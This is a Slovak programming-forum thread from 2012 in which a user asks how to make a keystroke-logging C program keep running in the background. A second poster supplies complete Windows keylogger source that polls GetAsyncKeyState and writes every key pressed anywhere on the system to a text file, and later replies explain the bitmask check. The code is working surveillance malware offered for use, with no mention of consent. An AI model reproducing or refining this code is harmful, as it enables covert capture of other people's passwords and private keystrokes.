[ Príspevkov: 5 ] 
AutorSpráva
Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 11.09.12
Prihlásený: 11.09.12
Príspevky: 2
Témy: 1 | 1
NapísalOffline : 11.09.2012 14:39 | C/C++ program na pozadí

Dobrý deň,
Mám takýto program :

Kód:
#include <stdio.h>
#include <conio.h>
#include <windows.h>



int main(int argc, char* argv[])
{
   FILE *subor;
   unsigned char ch=0;


  while(1)  {
      subor=fopen("slovnik.txt","a"); 
     if(kbhit())                             
        {   
         ch = getch();                     
            switch(ch)                         
            {


             case    0x0D : fprintf(subor,"\n");
             break;

             default:   fprintf(subor,"%c",ch);         
            }
        }
      fclose(subor);
       }

 return 0;

}



chcel by som sa opýtať či by mi niekto nevedel poradiť aby tento program bežal na pozadí napr. keď je na lište. Takže keď mam otvorený samostatný cmd a píšem tak mi zapisuje do súboru no ja chcem aby fungoval aj keď je minimalizovaný ........ vopred ďakujem za rady a pomoc :)


Offline

Skúsený užívateľ
Skúsený užívateľ
C/C++ program na pozadí

Registrovaný: 11.01.09
Prihlásený: 28.04.26
Príspevky: 1399
Témy: 10 | 10
Bydlisko: Hrinova
NapísalOffline : 11.09.2012 16:46 | C/C++ program na pozadí

Skus si toto:
Kód:
#include <stdio.h>
#include <windows.h>


int main()
{

    FILE            *subor;
    unsigned char   c;
    int             process_running = 1;

    subor = fopen( "slovnik.txt", "a+" );
    if ( subor == NULL )
    {
        printf( "*  Ajaj, keylogger zlyhal :-o\n" );
        return 1;
    }

    while( process_running )
    {
        Sleep( 10 );
        for( c = 8; c <= 127; c++ )
        {
            if( GetAsyncKeyState( c ) == -32767 )
            {
                if ( c == VK_ESCAPE )
                {
                    process_running = 0;
                    break;
                }

                fprintf( subor, "%c", c );

                    /* *** DEBUG *** */
                /* printf( "%c ", c ); */
            }
        }
    }

    close( subor );
    return 0;

}


Mam len linux, cize skompilovat mi to slo, ale spusit to uz musis sam. Ak to nepojde, odkomentuj riadok printf, ci to aspon do konzoly pise spravne znaky.


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 11.09.12
Prihlásený: 11.09.12
Príspevky: 2
Témy: 1 | 1
Napísal autor témyOffline : 12.09.2012 0:49 | C/C++ program na pozadí

ooo ďakujem si supr takto to je lepšie:) len nechápem prečo tu funkciu na čítanie z klávesnice porovnávaš stým číslom -32767


Offline

Skúsený užívateľ
Skúsený užívateľ
C/C++ program na pozadí

Registrovaný: 11.01.09
Prihlásený: 28.04.26
Príspevky: 1399
Témy: 10 | 10
Bydlisko: Hrinova
NapísalOffline : 12.09.2012 7:39 | C/C++ program na pozadí

Pretoze ked si pozries, ako su reprezentovane zaporne cisla v pamati, tak zistis, ze cislo -32767 je v dvojkovej sustave 1000000000000001, cize je nastaveny prvy a posledny bit. Ked si potom pozries dokumentaciu k funkcii GetAsyncKeyState, zistis, ze sa tam pise:
msdn píše:
If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState.


Mohol som ti to napisat aj takto:
Kód:
if( GetAsyncKeyState( c ) == 0x8001 )


alebo takto:
Kód:
if( ( GetAsyncKeyState( c ) & 0x8001 ) == 0x8001 )


a tak dalej a tak dalej, ale stale sa jedna o ten isty zapis 16-bitoveho cisla, ktore ma nastaveny prvy a posledny bit.


Offline

Užívateľ
Užívateľ
C/C++ program na pozadí

Registrovaný: 14.03.11
Prihlásený: 11.02.26
Príspevky: 815
Témy: 23 | 23
Bydlisko: Bratislava
NapísalOffline : 27.09.2012 16:15 | C/C++ program na pozadí

je fascinujúce v slučke otvárať a zatvárať súbor...


 [ Príspevkov: 5 ] 


C/C++ program na pozadí



Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy.

program na projekt (C#, C++, pascal, java)

v Backend

2

941

12.03.2009 12:08

Svjatogor

V tomto fóre nie sú ďalšie neprečítané témy.

C# alebo C++ appka/program na výpočty

v Backend

1

482

20.03.2015 22:36

walther

V tomto fóre nie sú ďalšie neprečítané témy.

Mám sa učiť C ++/objective C/ C#?

v Backend

5

849

08.07.2014 20:40

XOLOO

V tomto fóre nie sú ďalšie neprečítané témy.

C++ program

v Backend

1

938

11.05.2008 8:23

sento

V tomto fóre nie sú ďalšie neprečítané témy.

C program

v Backend

13

886

25.03.2017 11:21

mitko

V tomto fóre nie sú ďalšie neprečítané témy.

program v C++

v Backend

2

637

07.06.2012 21:57

Hipi21

V tomto fóre nie sú ďalšie neprečítané témy.

C++ (program airport)

v Backend

0

832

19.04.2007 17:28

pecko

V tomto fóre nie sú ďalšie neprečítané témy.

Program v C++

v Backend

23

1261

28.05.2009 14:02

reDo

V tomto fóre nie sú ďalšie neprečítané témy.

C++ zakladny program

v Backend

24

1752

31.08.2010 22:02

ado21

Táto téma je zamknutá, nemôžete posielať nové príspevky alebo odpovedať na staršie.

Program v C

v Backend

1

378

05.11.2013 16:00

Ďuri

V tomto fóre nie sú ďalšie neprečítané témy.

program v C

v Backend

7

838

23.05.2008 16:21

poma

V tomto fóre nie sú ďalšie neprečítané témy.

program v C++

v Backend

2

1382

06.12.2006 20:44

rebecca

V tomto fóre nie sú ďalšie neprečítané témy.

Program v C

v Backend

2

653

16.05.2008 16:51

Cruel

V tomto fóre nie sú ďalšie neprečítané témy.

Visal C++ program

v Backend

19

1230

11.09.2010 20:57

jawakiller

V tomto fóre nie sú ďalšie neprečítané témy.

malý program v c

v Backend

2

776

12.09.2011 19:39

mk*

V tomto fóre nie sú ďalšie neprečítané témy.

Program v c++ problém

v Backend

8

846

02.02.2012 19:01

ochar



© 2005 - 2026 PCforum, edited by JanoF